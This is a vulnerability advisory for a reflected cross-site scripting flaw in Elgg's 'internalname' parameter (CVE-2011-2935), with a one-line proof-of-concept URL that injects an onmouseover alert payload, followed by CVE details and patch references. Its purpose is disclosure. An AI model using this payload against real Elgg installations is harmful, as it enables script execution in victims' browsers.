Elgg Reflected XSS Vulnerability
### VULNERABILITY DESCRIPTION The `internalname` parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser ### PROOF-OF-CONCEPT/EXPLOIT ```http http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22 ```
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Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2011-2935US | medium6.1 | — | ||
Elgg through 1.7.10 has XSS | ||||
references
External citations — patches, advisories, analysis.
- http://yehg.net/lab/pr0js/advisories/[elgg_1710]_xss_sqlinWEB
- https://github.com/Elgg/ElggPACKAGE
- https://github.com/Elgg/Elgg/commit/2843b4f846874d434a2403ac1f27e41035b45e04WEB
- https://github.com/Elgg/Elgg/issues/3544WEB
- https://nvd.nist.gov/vuln/detail/CVE-2011-2935ADVISORY
- https://oss-security.openwall.narkive.com/1UH3NYx8/cve-request-elgg-1-7-10-multiple-vulnerabilitiesWEB
- https://security-tracker.debian.org/tracker/CVE-2011-2935WEB
- https://web.archive.org/web/20110907122607/http://blog.elgg.org/pg/blog/brett/read/189/elgg-1711-releasedWEB
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